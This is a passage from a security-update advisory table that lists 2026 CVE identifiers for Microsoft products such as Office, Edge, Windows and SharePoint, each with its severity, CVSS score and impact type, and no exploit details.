7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  